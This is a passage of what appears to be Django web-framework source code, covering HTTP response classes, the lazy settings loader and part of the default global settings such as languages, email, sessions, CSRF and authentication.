        # - under Python 3 it attempts str conversion first
        # - when self._charset != 'utf-8' it re-encodes the content
        if isinstance(value, bytes):
            return bytes(value)
        if isinstance(value, six.text_type):
            return bytes(value.encode(self.charset))

        # Handle non-string types (#16494)
        return force_bytes(value, self.charset)

    # These methods partially implement the file-like object interface.
    # See https://docs.python.org/3/library/io.html#io.IOBase

    # The WSGI server must call this method upon completion of the request.
    # See http://blog.dscpl.com.au/2012/10/obligations-for-calling-close-on.html
    def close(self):
        for closable in self._closable_objects:
            try:
                closable.close()
            except Exception:
                pass
        self.closed = True
        signals.request_finished.send(sender=self._handler_class)

    def write(self, content):
        raise IOError("This %s instance is not writable" % self.__class__.__name__)

    def flush(self):
        pass

    def tell(self):
        raise IOError("This %s instance cannot tell its position" % self.__class__.__name__)

    # These methods partially implement a stream-like object interface.
    # See https://docs.python.org/library/io.html#io.IOBase

    def readable(self):
        return False

    def seekable(self):
        return False

    def writable(self):
        return False

    def writelines(self, lines):
        raise IOError("This %s instance is not writable" % self.__class__.__name__)


class HttpResponse(HttpResponseBase):
    """
    An HTTP response class with a string as content.

    This content that can be read, appended to or replaced.
    """

    streaming = False

    def __init__(self, content=b'', *args, **kwargs):
        super(HttpResponse, self).__init__(*args, **kwargs)
        # Content is a bytestring. See the `content` property methods.
        self.content = content

    def __repr__(self):
        return '<%(cls)s status_code=%(status_code)d, "%(content_type)s">' % {
            'cls': self.__class__.__name__,
            'status_code': self.status_code,
            'content_type': self['Content-Type'],
        }

    def serialize(self):
        """Full HTTP message, including headers, as a bytestring."""
        return self.serialize_headers() + b'\r\n\r\n' + self.content

    if six.PY3:
        __bytes__ = serialize
    else:
        __str__ = serialize

    @property
    def content(self):
        return b''.join(self._container)

    @content.setter
    def content(self, value):
        # Consume iterators upon assignment to allow repeated iteration.
        if hasattr(value, '__iter__') and not isinstance(value, (bytes, six.string_types)):
            content = b''.join(self.make_bytes(chunk) for chunk in value)
            if hasattr(value, 'close'):
                try:
                    value.close()
                except Exception:
                    pass
        else:
            content = self.make_bytes(value)
        # Create a list of properly encoded bytestrings to support write().
        self._container = [content]

    def __iter__(self):
        return iter(self._container)

    def write(self, content):
        self._container.append(self.make_bytes(content))

    def tell(self):
        return len(self.content)

    def getvalue(self):
        return self.content

    def writable(self):
        return True

    def writelines(self, lines):
        for line in lines:
            self.write(line)


class StreamingHttpResponse(HttpResponseBase):
    """
    A streaming HTTP response class with an iterator as content.

    This should only be iterated once, when the response is streamed to the
    client. However, it can be appended to or replaced with a new iterator
    that wraps the original content (or yields entirely new content).
    """

    streaming = True

    def __init__(self, streaming_content=(), *args, **kwargs):
        super(StreamingHttpResponse, self).__init__(*args, **kwargs)
        # `streaming_content` should be an iterable of bytestrings.
        # See the `streaming_content` property methods.
        self.streaming_content = streaming_content

    @property
    def content(self):
        raise AttributeError(
            "This %s instance has no `content` attribute. Use "
            "`streaming_content` instead." % self.__class__.__name__
        )

    @property
    def streaming_content(self):
        return map(self.make_bytes, self._iterator)

    @streaming_content.setter
    def streaming_content(self, value):
        self._set_streaming_content(value)

    def _set_streaming_content(self, value):
        # Ensure we can never iterate on "value" more than once.
        self._iterator = iter(value)
        if hasattr(value, 'close'):
            self._closable_objects.append(value)

    def __iter__(self):
        return self.streaming_content

    def getvalue(self):
        return b''.join(self.streaming_content)


class FileResponse(StreamingHttpResponse):
    """
    A streaming HTTP response class optimized for files.
    """
    block_size = 4096

    def _set_streaming_content(self, value):
        if hasattr(value, 'read'):
            self.file_to_stream = value
            filelike = value
            if hasattr(filelike, 'close'):
                self._closable_objects.append(filelike)
            value = iter(lambda: filelike.read(self.block_size), b'')
        else:
            self.file_to_stream = None
        super(FileResponse, self)._set_streaming_content(value)


class HttpResponseRedirectBase(HttpResponse):
    allowed_schemes = ['http', 'https', 'ftp']

    def __init__(self, redirect_to, *args, **kwargs):
        parsed = urlparse(force_text(redirect_to))
        if parsed.scheme and parsed.scheme not in self.allowed_schemes:
            raise DisallowedRedirect("Unsafe redirect to URL with protocol '%s'" % parsed.scheme)
        super(HttpResponseRedirectBase, self).__init__(*args, **kwargs)
        self['Location'] = iri_to_uri(redirect_to)

    url = property(lambda self: self['Location'])

    def __repr__(self):
        return '<%(cls)s status_code=%(status_code)d, "%(content_type)s", url="%(url)s">' % {
            'cls': self.__class__.__name__,
            'status_code': self.status_code,
            'content_type': self['Content-Type'],
            'url': self.url,
        }


class HttpResponseRedirect(HttpResponseRedirectBase):
    status_code = 302


class HttpResponsePermanentRedirect(HttpResponseRedirectBase):
    status_code = 301


class HttpResponseNotModified(HttpResponse):
    status_code = 304

    def __init__(self, *args, **kwargs):
        super(HttpResponseNotModified, self).__init__(*args, **kwargs)
        del self['content-type']

    @HttpResponse.content.setter
    def content(self, value):
        if value:
            raise AttributeError("You cannot set content to a 304 (Not Modified) response")
        self._container = []


class HttpResponseBadRequest(HttpResponse):
    status_code = 400


class HttpResponseNotFound(HttpResponse):
    status_code = 404


class HttpResponseForbidden(HttpResponse):
    status_code = 403


class HttpResponseNotAllowed(HttpResponse):
    status_code = 405

    def __init__(self, permitted_methods, *args, **kwargs):
        super(HttpResponseNotAllowed, self).__init__(*args, **kwargs)
        self['Allow'] = ', '.join(permitted_methods)

    def __repr__(self):
        return '<%(cls)s [%(methods)s] status_code=%(status_code)d, "%(content_type)s">' % {
            'cls': self.__class__.__name__,
            'status_code': self.status_code,
            'content_type': self['Content-Type'],
            'methods': self['Allow'],
        }


class HttpResponseGone(HttpResponse):
    status_code = 410


class HttpResponseServerError(HttpResponse):
    status_code = 500


class Http404(Exception):
    pass


class JsonResponse(HttpResponse):
    """
    An HTTP response class that consumes data to be serialized to JSON.

    :param data: Data to be dumped into json. By default only ``dict`` objects
      are allowed to be passed due to a security flaw before EcmaScript 5. See
      the ``safe`` parameter for more information.
    :param encoder: Should be an json encoder class. Defaults to
      ``django.core.serializers.json.DjangoJSONEncoder``.
    :param safe: Controls if only ``dict`` objects may be serialized. Defaults
      to ``True``.
    :param json_dumps_params: A dictionary of kwargs passed to json.dumps().
    """

    def __init__(self, data, encoder=DjangoJSONEncoder, safe=True,
                 json_dumps_params=None, **kwargs):
        if safe and not isinstance(data, dict):
            raise TypeError(
                'In order to allow non-dict objects to be serialized set the '
                'safe parameter to False.'
            )
        if json_dumps_params is None:
            json_dumps_params = {}
        kwargs.setdefault('content_type', 'application/json')
        data = json.dumps(data, cls=encoder, **json_dumps_params)
        super(JsonResponse, self).__init__(content=data, **kwargs)






"""
Settings and configuration for Django.

Values will be read from the module specified by the DJANGO_SETTINGS_MODULE environment
variable, and then from django.conf.global_settings; see the global settings file for
a list of all possible variables.
"""

import importlib
import os
import time

from django.conf import global_settings
from django.core.exceptions import ImproperlyConfigured
from django.utils.functional import LazyObject, empty

ENVIRONMENT_VARIABLE = "DJANGO_SETTINGS_MODULE"


class LazySettings(LazyObject):
    """
    A lazy proxy for either global Django settings or a custom settings object.
    The user can manually configure settings prior to using them. Otherwise,
    Django uses the settings module pointed to by DJANGO_SETTINGS_MODULE.
    """
    def _setup(self, name=None):
        """
        Load the settings module pointed to by the environment variable. This
        is used the first time we need any settings at all, if the user has not
        previously configured the settings manually.
        """
        settings_module = os.environ.get(ENVIRONMENT_VARIABLE)
        if not settings_module:
            desc = ("setting %s" % name) if name else "settings"
            raise ImproperlyConfigured(
                "Requested %s, but settings are not configured. "
                "You must either define the environment variable %s "
                "or call settings.configure() before accessing settings."
                % (desc, ENVIRONMENT_VARIABLE))

        self._wrapped = Settings(settings_module)

    def __repr__(self):
        # Hardcode the class name as otherwise it yields 'Settings'.
        if self._wrapped is empty:
            return '<LazySettings [Unevaluated]>'
        return '<LazySettings "%(settings_module)s">' % {
            'settings_module': self._wrapped.SETTINGS_MODULE,
        }

    def __getattr__(self, name):
        if self._wrapped is empty:
            self._setup(name)
        return getattr(self._wrapped, name)

    def configure(self, default_settings=global_settings, **options):
        """
        Called to manually configure the settings. The 'default_settings'
        parameter sets where to retrieve any unspecified values from (its
        argument must support attribute access (__getattr__)).
        """
        if self._wrapped is not empty:
            raise RuntimeError('Settings already configured.')
        holder = UserSettingsHolder(default_settings)
        for name, value in options.items():
            setattr(holder, name, value)
        self._wrapped = holder

    @property
    def configured(self):
        """
        Returns True if the settings have already been configured.
        """
        return self._wrapped is not empty


class BaseSettings(object):
    """
    Common logic for settings whether set by a module or by the user.
    """
    def __setattr__(self, name, value):
        if name in ("MEDIA_URL", "STATIC_URL") and value and not value.endswith('/'):
            raise ImproperlyConfigured("If set, %s must end with a slash" % name)
        object.__setattr__(self, name, value)


class Settings(BaseSettings):
    def __init__(self, settings_module):
        # update this dict from global settings (but only for ALL_CAPS settings)
        for setting in dir(global_settings):
            if setting.isupper():
                setattr(self, setting, getattr(global_settings, setting))

        # store the settings module in case someone later cares
        self.SETTINGS_MODULE = settings_module

        mod = importlib.import_module(self.SETTINGS_MODULE)

        tuple_settings = (
            "INSTALLED_APPS",
            "TEMPLATE_DIRS",
            "LOCALE_PATHS",
        )
        self._explicit_settings = set()
        for setting in dir(mod):
            if setting.isupper():
                setting_value = getattr(mod, setting)

                if (setting in tuple_settings and
                        not isinstance(setting_value, (list, tuple))):
                    raise ImproperlyConfigured("The %s setting must be a list or a tuple. " % setting)
                setattr(self, setting, setting_value)
                self._explicit_settings.add(setting)

        if not self.SECRET_KEY:
            raise ImproperlyConfigured("The SECRET_KEY setting must not be empty.")

        if hasattr(time, 'tzset') and self.TIME_ZONE:
            # When we can, attempt to validate the timezone. If we can't find
            # this file, no check happens and it's harmless.
            zoneinfo_root = '/usr/share/zoneinfo'
            if (os.path.exists(zoneinfo_root) and not
                    os.path.exists(os.path.join(zoneinfo_root, *(self.TIME_ZONE.split('/'))))):
                raise ValueError("Incorrect timezone setting: %s" % self.TIME_ZONE)
            # Move the time zone info into os.environ. See ticket #2315 for why
            # we don't do this unconditionally (breaks Windows).
            os.environ['TZ'] = self.TIME_ZONE
            time.tzset()

    def is_overridden(self, setting):
        return setting in self._explicit_settings

    def __repr__(self):
        return '<%(cls)s "%(settings_module)s">' % {
            'cls': self.__class__.__name__,
            'settings_module': self.SETTINGS_MODULE,
        }


class UserSettingsHolder(BaseSettings):
    """
    Holder for user configured settings.
    """
    # SETTINGS_MODULE doesn't make much sense in the manually configured
    # (standalone) case.
    SETTINGS_MODULE = None

    def __init__(self, default_settings):
        """
        Requests for configuration variables not in this class are satisfied
        from the module specified in default_settings (if possible).
        """
        self.__dict__['_deleted'] = set()
        self.default_settings = default_settings

    def __getattr__(self, name):
        if name in self._deleted:
            raise AttributeError
        return getattr(self.default_settings, name)

    def __setattr__(self, name, value):
        self._deleted.discard(name)
        super(UserSettingsHolder, self).__setattr__(name, value)

    def __delattr__(self, name):
        self._deleted.add(name)
        if hasattr(self, name):
            super(UserSettingsHolder, self).__delattr__(name)

    def __dir__(self):
        return sorted(
            s for s in list(self.__dict__) + dir(self.default_settings)
            if s not in self._deleted
        )

    def is_overridden(self, setting):
        deleted = (setting in self._deleted)
        set_locally = (setting in self.__dict__)
        set_on_default = getattr(self.default_settings, 'is_overridden', lambda s: False)(setting)
        return (deleted or set_locally or set_on_default)

    def __repr__(self):
        return '<%(cls)s>' % {
            'cls': self.__class__.__name__,
        }

settings = LazySettings()






# -*- coding: utf-8 -*-
"""
Default Django settings. Override these with settings in the module pointed to
by the DJANGO_SETTINGS_MODULE environment variable.
"""
from __future__ import unicode_literals


# This is defined here as a do-nothing function because we can't import
# django.utils.translation -- that module depends on the settings.
def gettext_noop(s):
    return s

####################
# CORE             #
####################

DEBUG = False

# Whether the framework should propagate raw exceptions rather than catching
# them. This is useful under some testing situations and should never be used
# on a live site.
DEBUG_PROPAGATE_EXCEPTIONS = False

# Whether to use the "Etag" header. This saves bandwidth but slows down performance.
USE_ETAGS = False

# People who get code error notifications.
# In the format [('Full Name', 'email@example.com'), ('Full Name', 'anotheremail@example.com')]
ADMINS = []

# List of IP addresses, as strings, that:
#   * See debug comments, when DEBUG is true
#   * Receive x-headers
INTERNAL_IPS = []

# Hosts/domain names that are valid for this site.
# "*" matches anything, ".example.com" matches example.com and all subdomains
ALLOWED_HOSTS = []

# Local time zone for this installation. All choices can be found here:
# https://en.wikipedia.org/wiki/List_of_tz_zones_by_name (although not all
# systems may support all possibilities). When USE_TZ is True, this is
# interpreted as the default user time zone.
TIME_ZONE = 'America/Chicago'

# If you set this to True, Django will use timezone-aware datetimes.
USE_TZ = False

# Language code for this installation. All choices can be found here:
# http://www.i18nguy.com/unicode/language-identifiers.html
LANGUAGE_CODE = 'en-us'

# Languages we provide translations for, out of the box.
LANGUAGES = [
    ('af', gettext_noop('Afrikaans')),
    ('ar', gettext_noop('Arabic')),
    ('ast', gettext_noop('Asturian')),
    ('az', gettext_noop('Azerbaijani')),
    ('bg', gettext_noop('Bulgarian')),
    ('be', gettext_noop('Belarusian')),
    ('bn', gettext_noop('Bengali')),
    ('br', gettext_noop('Breton')),
    ('bs', gettext_noop('Bosnian')),
    ('ca', gettext_noop('Catalan')),
    ('cs', gettext_noop('Czech')),
    ('cy', gettext_noop('Welsh')),
    ('da', gettext_noop('Danish')),
    ('de', gettext_noop('German')),
    ('dsb', gettext_noop('Lower Sorbian')),
    ('el', gettext_noop('Greek')),
    ('en', gettext_noop('English')),
    ('en-au', gettext_noop('Australian English')),
    ('en-gb', gettext_noop('British English')),
    ('eo', gettext_noop('Esperanto')),
    ('es', gettext_noop('Spanish')),
    ('es-ar', gettext_noop('Argentinian Spanish')),
    ('es-co', gettext_noop('Colombian Spanish')),
    ('es-mx', gettext_noop('Mexican Spanish')),
    ('es-ni', gettext_noop('Nicaraguan Spanish')),
    ('es-ve', gettext_noop('Venezuelan Spanish')),
    ('et', gettext_noop('Estonian')),
    ('eu', gettext_noop('Basque')),
    ('fa', gettext_noop('Persian')),
    ('fi', gettext_noop('Finnish')),
    ('fr', gettext_noop('French')),
    ('fy', gettext_noop('Frisian')),
    ('ga', gettext_noop('Irish')),
    ('gd', gettext_noop('Scottish Gaelic')),
    ('gl', gettext_noop('Galician')),
    ('he', gettext_noop('Hebrew')),
    ('hi', gettext_noop('Hindi')),
    ('hr', gettext_noop('Croatian')),
    ('hsb', gettext_noop('Upper Sorbian')),
    ('hu', gettext_noop('Hungarian')),
    ('ia', gettext_noop('Interlingua')),
    ('id', gettext_noop('Indonesian')),
    ('io', gettext_noop('Ido')),
    ('is', gettext_noop('Icelandic')),
    ('it', gettext_noop('Italian')),
    ('ja', gettext_noop('Japanese')),
    ('ka', gettext_noop('Georgian')),
    ('kk', gettext_noop('Kazakh')),
    ('km', gettext_noop('Khmer')),
    ('kn', gettext_noop('Kannada')),
    ('ko', gettext_noop('Korean')),
    ('lb', gettext_noop('Luxembourgish')),
    ('lt', gettext_noop('Lithuanian')),
    ('lv', gettext_noop('Latvian')),
    ('mk', gettext_noop('Macedonian')),
    ('ml', gettext_noop('Malayalam')),
    ('mn', gettext_noop('Mongolian')),
    ('mr', gettext_noop('Marathi')),
    ('my', gettext_noop('Burmese')),
    ('nb', gettext_noop('Norwegian Bokmål')),
    ('ne', gettext_noop('Nepali')),
    ('nl', gettext_noop('Dutch')),
    ('nn', gettext_noop('Norwegian Nynorsk')),
    ('os', gettext_noop('Ossetic')),
    ('pa', gettext_noop('Punjabi')),
    ('pl', gettext_noop('Polish')),
    ('pt', gettext_noop('Portuguese')),
    ('pt-br', gettext_noop('Brazilian Portuguese')),
    ('ro', gettext_noop('Romanian')),
    ('ru', gettext_noop('Russian')),
    ('sk', gettext_noop('Slovak')),
    ('sl', gettext_noop('Slovenian')),
    ('sq', gettext_noop('Albanian')),
    ('sr', gettext_noop('Serbian')),
    ('sr-latn', gettext_noop('Serbian Latin')),
    ('sv', gettext_noop('Swedish')),
    ('sw', gettext_noop('Swahili')),
    ('ta', gettext_noop('Tamil')),
    ('te', gettext_noop('Telugu')),
    ('th', gettext_noop('Thai')),
    ('tr', gettext_noop('Turkish')),
    ('tt', gettext_noop('Tatar')),
    ('udm', gettext_noop('Udmurt')),
    ('uk', gettext_noop('Ukrainian')),
    ('ur', gettext_noop('Urdu')),
    ('vi', gettext_noop('Vietnamese')),
    ('zh-hans', gettext_noop('Simplified Chinese')),
    ('zh-hant', gettext_noop('Traditional Chinese')),
]

# Languages using BiDi (right-to-left) layout
LANGUAGES_BIDI = ["he", "ar", "fa", "ur"]

# If you set this to False, Django will make some optimizations so as not
# to load the internationalization machinery.
USE_I18N = True
LOCALE_PATHS = []

# Settings for language cookie
LANGUAGE_COOKIE_NAME = 'django_language'
LANGUAGE_COOKIE_AGE = None
LANGUAGE_COOKIE_DOMAIN = None
LANGUAGE_COOKIE_PATH = '/'


# If you set this to True, Django will format dates, numbers and calendars
# according to user current locale.
USE_L10N = False

# Not-necessarily-technical managers of the site. They get broken link
# notifications and other various emails.
MANAGERS = ADMINS

# Default content type and charset to use for all HttpResponse objects, if a
# MIME type isn't manually specified. These are used to construct the
# Content-Type header.
DEFAULT_CONTENT_TYPE = 'text/html'
DEFAULT_CHARSET = 'utf-8'

# Encoding of files read from disk (template and initial SQL files).
FILE_CHARSET = 'utf-8'

# Email address that error messages come from.
SERVER_EMAIL = 'root@localhost'

# Database connection info. If left empty, will default to the dummy backend.
DATABASES = {}

# Classes used to implement DB routing behavior.
DATABASE_ROUTERS = []

# The email backend to use. For possible shortcuts see django.core.mail.
# The default is to use the SMTP backend.
# Third-party backends can be specified by providing a Python path
# to a module that defines an EmailBackend class.
EMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend'

# Host for sending email.
EMAIL_HOST = 'localhost'

# Port for sending email.
EMAIL_PORT = 25

# Whether to send SMTP 'Date' header in the local time zone or in UTC.
EMAIL_USE_LOCALTIME = False

# Optional SMTP authentication information for EMAIL_HOST.
EMAIL_HOST_USER = ''
EMAIL_HOST_PASSWORD = ''
EMAIL_USE_TLS = False
EMAIL_USE_SSL = False
EMAIL_SSL_CERTFILE = None
EMAIL_SSL_KEYFILE = None
EMAIL_TIMEOUT = None

# List of strings representing installed apps.
INSTALLED_APPS = []

TEMPLATES = []

# Default email address to use for various automated correspondence from
# the site managers.
DEFAULT_FROM_EMAIL = 'webmaster@localhost'

# Subject-line prefix for email messages send with django.core.mail.mail_admins
# or ...mail_managers.  Make sure to include the trailing space.
EMAIL_SUBJECT_PREFIX = '[Django] '

# Whether to append trailing slashes to URLs.
APPEND_SLASH = True

# Whether to prepend the "www." subdomain to URLs that don't have it.
PREPEND_WWW = False

# Override the server-derived value of SCRIPT_NAME
FORCE_SCRIPT_NAME = None

# List of compiled regular expression objects representing User-Agent strings
# that are not allowed to visit any page, systemwide. Use this for bad
# robots/crawlers. Here are a few examples:
#     import re
#     DISALLOWED_USER_AGENTS = [
#         re.compile(r'^NaverBot.*'),
#         re.compile(r'^EmailSiphon.*'),
#         re.compile(r'^SiteSucker.*'),
#         re.compile(r'^sohu-search')
#     ]
DISALLOWED_USER_AGENTS = []

ABSOLUTE_URL_OVERRIDES = {}

# List of compiled regular expression objects representing URLs that need not
# be reported by BrokenLinkEmailsMiddleware. Here are a few examples:
#    import re
#    IGNORABLE_404_URLS = [
#        re.compile(r'^/apple-touch-icon.*\.png$'),
#        re.compile(r'^/favicon.ico$),
#        re.compile(r'^/robots.txt$),
#        re.compile(r'^/phpmyadmin/),
#        re.compile(r'\.(cgi|php|pl)$'),
#    ]
IGNORABLE_404_URLS = []

# A secret key for this particular Django installation. Used in secret-key
# hashing algorithms. Set this in your settings, or Django will complain
# loudly.
SECRET_KEY = ''

# Default file storage mechanism that holds media.
DEFAULT_FILE_STORAGE = 'django.core.files.storage.FileSystemStorage'

# Absolute filesystem path to the directory that will hold user-uploaded files.
# Example: "/var/www/example.com/media/"
MEDIA_ROOT = ''

# URL that handles the media served from MEDIA_ROOT.
# Examples: "http://example.com/media/", "http://media.example.com/"
MEDIA_URL = ''

# Absolute path to the directory static files should be collected to.
# Example: "/var/www/example.com/static/"
STATIC_ROOT = None

# URL that handles the static files served from STATIC_ROOT.
# Example: "http://example.com/static/", "http://static.example.com/"
STATIC_URL = None

# List of upload handler classes to be applied in order.
FILE_UPLOAD_HANDLERS = [
    'django.core.files.uploadhandler.MemoryFileUploadHandler',
    'django.core.files.uploadhandler.TemporaryFileUploadHandler',
]

# Maximum size, in bytes, of a request before it will be streamed to the
# file system instead of into memory.
FILE_UPLOAD_MAX_MEMORY_SIZE = 2621440  # i.e. 2.5 MB

# Maximum size in bytes of request data (excluding file uploads) that will be
# read before a SuspiciousOperation (RequestDataTooBig) is raised.
DATA_UPLOAD_MAX_MEMORY_SIZE = 2621440  # i.e. 2.5 MB

# Maximum number of GET/POST parameters that will be read before a
# SuspiciousOperation (TooManyFieldsSent) is raised.
DATA_UPLOAD_MAX_NUMBER_FIELDS = 1000

# Directory in which upload streamed files will be temporarily saved. A value of
# `None` will make Django use the operating system's default temporary directory
# (i.e. "/tmp" on *nix systems).
FILE_UPLOAD_TEMP_DIR = None

# The numeric mode to set newly-uploaded files to. The value should be a mode
# you'd pass directly to os.chmod; see https://docs.python.org/3/library/os.html#files-and-directories.
FILE_UPLOAD_PERMISSIONS = None

# The numeric mode to assign to newly-created directories, when uploading files.
# The value should be a mode as you'd pass to os.chmod;
# see https://docs.python.org/3/library/os.html#files-and-directories.
FILE_UPLOAD_DIRECTORY_PERMISSIONS = None

# Python module path where user will place custom format definition.
# The directory where this setting is pointing should contain subdirectories
# named as the locales, containing a formats.py file
# (i.e. "myproject.locale" for myproject/locale/en/formats.py etc. use)
FORMAT_MODULE_PATH = None

# Default formatting for date objects. See all available format strings here:
# http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'N j, Y'

# Default formatting for datetime objects. See all available format strings here:
# http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATETIME_FORMAT = 'N j, Y, P'

# Default formatting for time objects. See all available format strings here:
# http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
TIME_FORMAT = 'P'

# Default formatting for date objects when only the year and month are relevant.
# See all available format strings here:
# http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
YEAR_MONTH_FORMAT = 'F Y'

# Default formatting for date objects when only the month and day are relevant.
# See all available format strings here:
# http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
MONTH_DAY_FORMAT = 'F j'

# Default short formatting for date objects. See all available format strings here:
# http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
SHORT_DATE_FORMAT = 'm/d/Y'

# Default short formatting for datetime objects.
# See all available format strings here:
# http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
SHORT_DATETIME_FORMAT = 'm/d/Y P'

# Default formats to be used when parsing dates from input boxes, in order
# See all available format string here:
# http://docs.python.org/library/datetime.html#strftime-behavior
# * Note that these format strings are different from the ones to display dates
DATE_INPUT_FORMATS = [
    '%Y-%m-%d', '%m/%d/%Y', '%m/%d/%y',  # '2006-10-25', '10/25/2006', '10/25/06'
    '%b %d %Y', '%b %d, %Y',             # 'Oct 25 2006', 'Oct 25, 2006'
    '%d %b %Y', '%d %b, %Y',             # '25 Oct 2006', '25 Oct, 2006'
    '%B %d %Y', '%B %d, %Y',             # 'October 25 2006', 'October 25, 2006'
    '%d %B %Y', '%d %B, %Y',             # '25 October 2006', '25 October, 2006'
]

# Default formats to be used when parsing times from input boxes, in order
# See all available format string here:
# http://docs.python.org/library/datetime.html#strftime-behavior
# * Note that these format strings are different from the ones to display dates
TIME_INPUT_FORMATS = [
    '%H:%M:%S',     # '14:30:59'
    '%H:%M:%S.%f',  # '14:30:59.000200'
    '%H:%M',        # '14:30'
]

# Default formats to be used when parsing dates and times from input boxes,
# in order
# See all available format string here:
# http://docs.python.org/library/datetime.html#strftime-behavior
# * Note that these format strings are different from the ones to display dates
DATETIME_INPUT_FORMATS = [
    '%Y-%m-%d %H:%M:%S',     # '2006-10-25 14:30:59'
    '%Y-%m-%d %H:%M:%S.%f',  # '2006-10-25 14:30:59.000200'
    '%Y-%m-%d %H:%M',        # '2006-10-25 14:30'
    '%Y-%m-%d',              # '2006-10-25'
    '%m/%d/%Y %H:%M:%S',     # '10/25/2006 14:30:59'
    '%m/%d/%Y %H:%M:%S.%f',  # '10/25/2006 14:30:59.000200'
    '%m/%d/%Y %H:%M',        # '10/25/2006 14:30'
    '%m/%d/%Y',              # '10/25/2006'
    '%m/%d/%y %H:%M:%S',     # '10/25/06 14:30:59'
    '%m/%d/%y %H:%M:%S.%f',  # '10/25/06 14:30:59.000200'
    '%m/%d/%y %H:%M',        # '10/25/06 14:30'
    '%m/%d/%y',              # '10/25/06'
]

# First day of week, to be used on calendars
# 0 means Sunday, 1 means Monday...
FIRST_DAY_OF_WEEK = 0

# Decimal separator symbol
DECIMAL_SEPARATOR = '.'

# Boolean that sets whether to add thousand separator when formatting numbers
USE_THOUSAND_SEPARATOR = False

# Number of digits that will be together, when splitting them by
# THOUSAND_SEPARATOR. 0 means no grouping, 3 means splitting by thousands...
NUMBER_GROUPING = 0

# Thousand separator symbol
THOUSAND_SEPARATOR = ','

# The tablespaces to use for each model when not specified otherwise.
DEFAULT_TABLESPACE = ''
DEFAULT_INDEX_TABLESPACE = ''

# Default X-Frame-Options header value
X_FRAME_OPTIONS = 'SAMEORIGIN'

USE_X_FORWARDED_HOST = False
USE_X_FORWARDED_PORT = False

# The Python dotted path to the WSGI application that Django's internal server
# (runserver) will use. If `None`, the return value of
# 'django.core.wsgi.get_wsgi_application' is used, thus preserving the same
# behavior as previous versions of Django. Otherwise this should point to an
# actual WSGI application object.
WSGI_APPLICATION = None

# If your Django app is behind a proxy that sets a header to specify secure
# connections, AND that proxy ensures that user-submitted headers with the
# same name are ignored (so that people can't spoof it), set this value to
# a tuple of (header_name, header_value). For any requests that come in with
# that header/value, request.is_secure() will return True.
# WARNING! Only set this if you fully understand what you're doing. Otherwise,
# you may be opening yourself up to a security risk.
SECURE_PROXY_SSL_HEADER = None

##############
# MIDDLEWARE #
##############

# List of middleware to use. Order is important; in the request phase, these
# middleware will be applied in the order given, and in the response
# phase the middleware will be applied in reverse order.
MIDDLEWARE_CLASSES = [
    'django.middleware.common.CommonMiddleware',
    'django.middleware.csrf.CsrfViewMiddleware',
]

MIDDLEWARE = None

############
# SESSIONS #
############

# Cache to store session data if using the cache session backend.
SESSION_CACHE_ALIAS = 'default'
# Cookie name. This can be whatever you want.
SESSION_COOKIE_NAME = 'sessionid'
# Age of cookie, in seconds (default: 2 weeks).
SESSION_COOKIE_AGE = 60 * 60 * 24 * 7 * 2
# A string like ".example.com", or None for standard domain cookie.
SESSION_COOKIE_DOMAIN = None
# Whether the session cookie should be secure (https:// only).
SESSION_COOKIE_SECURE = False
# The path of the session cookie.
SESSION_COOKIE_PATH = '/'
# Whether to use the non-RFC standard httpOnly flag (IE, FF3+, others)
SESSION_COOKIE_HTTPONLY = True
# Whether to save the session data on every request.
SESSION_SAVE_EVERY_REQUEST = False
# Whether a user's session cookie expires when the Web browser is closed.
SESSION_EXPIRE_AT_BROWSER_CLOSE = False
# The module to store session data
SESSION_ENGINE = 'django.contrib.sessions.backends.db'
# Directory to store session files if using the file session module. If None,
# the backend will use a sensible default.
SESSION_FILE_PATH = None
# class to serialize session data
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.JSONSerializer'

#########
# CACHE #
#########

# The cache backends to use.
CACHES = {
    'default': {
        'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
    }
}
CACHE_MIDDLEWARE_KEY_PREFIX = ''
CACHE_MIDDLEWARE_SECONDS = 600
CACHE_MIDDLEWARE_ALIAS = 'default'

##################
# AUTHENTICATION #
##################

AUTH_USER_MODEL = 'auth.User'

AUTHENTICATION_BACKENDS = ['django.contrib.auth.backends.ModelBackend']

LOGIN_URL = '/accounts/login/'

LOGIN_REDIRECT_URL = '/accounts/profile/'

LOGOUT_REDIRECT_URL = None

# The number of days a password reset link is valid for
PASSWORD_RESET_TIMEOUT_DAYS = 3

# the first hasher in this list is the preferred algorithm.  any
# password using different algorithms will be converted automatically
# upon login
PASSWORD_HASHERS = [
    'django.contrib.auth.hashers.PBKDF2PasswordHasher',
    'django.contrib.auth.hashers.PBKDF2SHA1PasswordHasher',
    'django.contrib.auth.hashers.Argon2PasswordHasher',
    'django.contrib.auth.hashers.BCryptSHA256PasswordHasher',
    'django.contrib.auth.hashers.BCryptPasswordHasher',
]

AUTH_PASSWORD_VALIDATORS = []

###########
# SIGNING #
###########

SIGNING_BACKEND = 'django.core.signing.TimestampSigner'

########
# CSRF #
########

# Dotted path to callable to be used as view when a request is
# rejected by the CSRF middleware.
CSRF_FAILURE_VIEW = 'django.views.csrf.csrf_failure'

# Settings for CSRF cookie.
CSRF_COOKIE_NAME = 'csrftoken'
CSRF_COOKIE_AGE = 60 * 60 * 24 * 7 * 52
CSRF_COOKIE_DOMAIN = None
CSRF_COOKIE_PATH = '/'
CSRF_COOKIE_SECURE = False
CSRF_COOKIE_HTTPONLY = False
CSRF_HEADER_NAME = 'HTTP_X_CSRFTOKEN'
CSRF_TRUSTED_ORIGINS = []

############
# MESSAGES #
############

# Class to use as messages backend
MESSAGE_STORAGE = 'django.contrib.messages.storage.fallback.FallbackStorage'

# Default values of MESSAGE_LEVEL and MESSAGE_TAGS are defined within
# django.contrib.messages to avoid imports in this settings file.

###########
# LOGGING #
###########

# The callable to use to configure logging
LOGGING_CONFIG = 'logging.config.dictConfig'

# Custom logging configuration.
LOGGING = {}

# Default exception reporter filter class used in case none has been
# specifically assigned to the HttpRequest instance.
DEFAULT_EXCEPTION_REPORTER_FILTER = 'django.views.debug.SafeExceptionReporterFilter'

###########
# TESTING #
###########

# The name of the class to use to run the test suite
